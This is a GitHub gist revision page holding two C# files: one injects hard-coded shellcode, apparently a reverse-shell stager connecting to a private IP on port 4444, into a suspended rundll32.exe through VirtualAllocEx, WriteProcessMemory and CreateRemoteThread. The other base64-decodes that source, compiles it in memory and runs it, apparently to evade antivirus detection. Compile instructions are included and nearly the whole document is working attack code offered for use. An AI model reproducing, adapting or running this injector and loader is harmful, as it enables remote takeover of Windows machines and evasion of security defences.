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kapiushion/malicious.cs

Forked from Arno0x/malicious.cs
Created July 7, 2025 05:44
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Revisions

  1. @Arno0x Arno0x revised this gist Nov 17, 2017. 1 changed file with 4 additions and 2 deletions.
    6 changes: 4 additions & 2 deletions malicious.cs
    View file
    Original file line number Diff line number Diff line change
    @@ -1,10 +1,12 @@
    /*
    Author: Arno0x0x, Twitter: @Arno0x0x
    Encode this assembly in base64:
    DO NOT COMPILE THIS SOURCE FILE !
    Encode this source in base64:
    base64 -w0 malicious.cs > malicious.b64
    Then paste it in the code in "not_detected.cs"
    Then paste it in the code in "not_detected.cs" source file
    */

  2. @Arno0x Arno0x created this gist Nov 14, 2017.
    229 changes: 229 additions & 0 deletions malicious.cs
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    Original file line number Diff line number Diff line change
    @@ -0,0 +1,229 @@
    /*
    Author: Arno0x0x, Twitter: @Arno0x0x
    Encode this assembly in base64:
    base64 -w0 malicious.cs > malicious.b64
    Then paste it in the code in "not_detected.cs"
    */

    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System;
    using System.Text;
    public class nastyLittleDuck
    {
    [StructLayout(LayoutKind.Sequential)]
    public class SecurityAttributes
    {
    public Int32 Length = 0;
    public IntPtr lpSecurityDescriptor = IntPtr.Zero;
    public bool bInheritHandle = false;

    public SecurityAttributes()
    {
    this.Length = Marshal.SizeOf(this);
    }
    }
    [StructLayout(LayoutKind.Sequential)]
    public struct ProcessInformation
    {
    public IntPtr hProcess;
    public IntPtr hThread;
    public Int32 dwProcessId;
    public Int32 dwThreadId;
    }
    [Flags]
    public enum CreateProcessFlags : uint
    {
    DEBUG_PROCESS = 0x00000001,
    DEBUG_ONLY_THIS_PROCESS = 0x00000002,
    CREATE_SUSPENDED = 0x00000004,
    DETACHED_PROCESS = 0x00000008,
    CREATE_NEW_CONSOLE = 0x00000010,
    NORMAL_PRIORITY_CLASS = 0x00000020,
    IDLE_PRIORITY_CLASS = 0x00000040,
    HIGH_PRIORITY_CLASS = 0x00000080,
    REALTIME_PRIORITY_CLASS = 0x00000100,
    CREATE_NEW_PROCESS_GROUP = 0x00000200,
    CREATE_UNICODE_ENVIRONMENT = 0x00000400,
    CREATE_SEPARATE_WOW_VDM = 0x00000800,
    CREATE_SHARED_WOW_VDM = 0x00001000,
    CREATE_FORCEDOS = 0x00002000,
    BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
    ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
    INHERIT_PARENT_AFFINITY = 0x00010000,
    INHERIT_CALLER_PRIORITY = 0x00020000,
    CREATE_PROTECTED_PROCESS = 0x00040000,
    EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
    PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
    PROCESS_MODE_BACKGROUND_END = 0x00200000,
    CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
    CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
    CREATE_DEFAULT_ERROR_MODE = 0x04000000,
    CREATE_NO_WINDOW = 0x08000000,
    PROFILE_USER = 0x10000000,
    PROFILE_KERNEL = 0x20000000,
    PROFILE_SERVER = 0x40000000,
    CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
    }
    [Flags]
    public enum DuplicateOptions : uint
    {
    DUPLICATE_CLOSE_SOURCE = 0x00000001,
    DUPLICATE_SAME_ACCESS = 0x00000002
    }
    [StructLayout(LayoutKind.Sequential)]
    public class StartupInfo
    {
    public Int32 cb = 0;
    public IntPtr lpReserved = IntPtr.Zero;
    public IntPtr lpDesktop = IntPtr.Zero; // MUST be Zero
    public IntPtr lpTitle = IntPtr.Zero;
    public Int32 dwX = 0;
    public Int32 dwY = 0;
    public Int32 dwXSize = 0;
    public Int32 dwYSize = 0;
    public Int32 dwXCountChars = 0;
    public Int32 dwYCountChars = 0;
    public Int32 dwFillAttribute = 0;
    public Int32 dwFlags = 0;
    public Int16 wShowWindow = 0;
    public Int16 cbReserved2 = 0;
    public IntPtr lpReserved2 = IntPtr.Zero;
    public IntPtr hStdInput = IntPtr.Zero;
    public IntPtr hStdOutput = IntPtr.Zero;
    public IntPtr hStdError = IntPtr.Zero;
    public StartupInfo()
    {
    this.cb = Marshal.SizeOf(this);
    }
    }
    [Flags()]
    public enum AllocationType : uint
    {
    COMMIT = 0x1000,
    RESERVE = 0x2000,
    GO = 0x3000,
    RESET = 0x80000,
    LARGE_PAGES = 0x20000000,
    PHYSICAL = 0x400000,
    TOP_DOWN = 0x100000,
    WRITE_WATCH = 0x200000
    }
    [Flags()]
    public enum MemoryProtection : uint
    {
    EXECUTE = 0x10,
    EXECUTE_READ = 0x20,
    EXECUTE_READWRITE = 0x40,
    EXECUTE_WRITECOPY = 0x80,
    NOACCESS = 0x01,
    READONLY = 0x02,
    READWRITE = 0x04,
    WRITECOPY = 0x08,
    GUARD_Modifierflag = 0x100,
    NOCACHE_Modifierflag = 0x200,
    WRITECOMBINE_Modifierflag = 0x400
    }
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateProcessA(
    String lpApplicationName,
    String lpCommandLine,
    SecurityAttributes lpProcessAttributes,
    SecurityAttributes lpThreadAttributes,
    Boolean bInheritHandles,
    CreateProcessFlags dwCreationFlags,
    IntPtr lpEnvironment,
    String lpCurrentDirectory,
    [In] StartupInfo lpStartupInfo,
    out ProcessInformation lpProcessInformation

    );
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAllocEx(
    IntPtr lpHandle,
    IntPtr lpAddress,
    IntPtr dwSize,
    AllocationType flAllocationType,
    MemoryProtection flProtect
    );
    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(
    IntPtr hProcess,
    IntPtr lpBaseAddress,
    byte[] buffer,
    IntPtr dwSize,
    int lpNumberOfBytesWritten);
    [DllImport("kernel32.dll")]
    public static extern bool TerminateProcess(
    IntPtr hProcess,
    uint uExitCode);
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(
    IntPtr hProcess,
    IntPtr lpThreadAttributes,
    uint dwStackSize,
    IntPtr lpStartAddress,
    IntPtr lpParameter,
    uint dwCreationFlags,
    IntPtr lpThreadId);
    public static void Main()
    {
    string binary = "rundll32.exe";
    byte[] sc = new byte[333] {
    0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
    0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
    0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
    0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
    0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
    0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
    0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
    0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
    0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
    0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
    0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x34,0x86,0x68,0x02,
    0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
    0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
    0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,
    0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,
    0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
    0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,
    0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,
    0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,
    0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,
    0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,
    0x53,0xff,0xd5 };
    IntPtr size = new IntPtr(sc.Length);
    StartupInfo sInfo = new StartupInfo();
    sInfo.dwFlags = 0;
    ProcessInformation pInfo;
    string binaryPath = "";
    if (Environment.GetEnvironmentVariable("ProgramW6432").Length > 0)
    {
    binaryPath = Environment.GetEnvironmentVariable("windir") + "\\SysWOW64\\" + binary;
    }
    else
    {
    binaryPath = Environment.GetEnvironmentVariable("windir") + "\\System32\\" + binary;
    }
    IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
    IntPtr hProcess = pInfo.hProcess;
    if (hProcess.ToString() != "0") {
    IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), size, AllocationType.GO, MemoryProtection.EXECUTE_READWRITE);
    if (spaceAddr.ToString() == "0")
    {
    TerminateProcess(hProcess, 0);
    }
    else
    {
    int test = 0;
    IntPtr size2 = new IntPtr(sc.Length);
    bool bWrite = WriteProcessMemory(hProcess, spaceAddr, sc, size2, test);
    CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
    }
    }
    }
    }
    42 changes: 42 additions & 0 deletions not_detected.cs
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,42 @@
    /*
    Author: Arno0x0x, Twitter: @Arno0x0x
    ===================================== COMPILING =====================================
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:not_detected2.exe not_detected2.cs
    */

    using System;
    using System.Text;
    using Microsoft.CSharp;
    using System.CodeDom.Compiler;
    using System.Reflection;

    class Program
    {
    static void Main()
    {
    string code = Encoding.UTF8.GetString(Convert.FromBase64String("<--- malicious.cs BASE64 ENCODED--->"));
    CSharpCodeProvider provider = new CSharpCodeProvider();
    CompilerParameters parameters = new CompilerParameters();
    parameters.ReferencedAssemblies.Add("System.dll");
    parameters.GenerateInMemory = true;
    parameters.GenerateExecutable = true;
    CompilerResults results = provider.CompileAssemblyFromSource(parameters, code);
    if (results.Errors.HasErrors)
    {
    StringBuilder sb = new StringBuilder();

    foreach (CompilerError error in results.Errors)
    {
    sb.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText));
    }

    throw new InvalidOperationException(sb.ToString());
    }
    Assembly assembly = results.CompiledAssembly;
    Type program = assembly.GetType("nastyLittleDuck");
    MethodInfo main = program.GetMethod("Main");
    main.Invoke(null, null);
    }
    }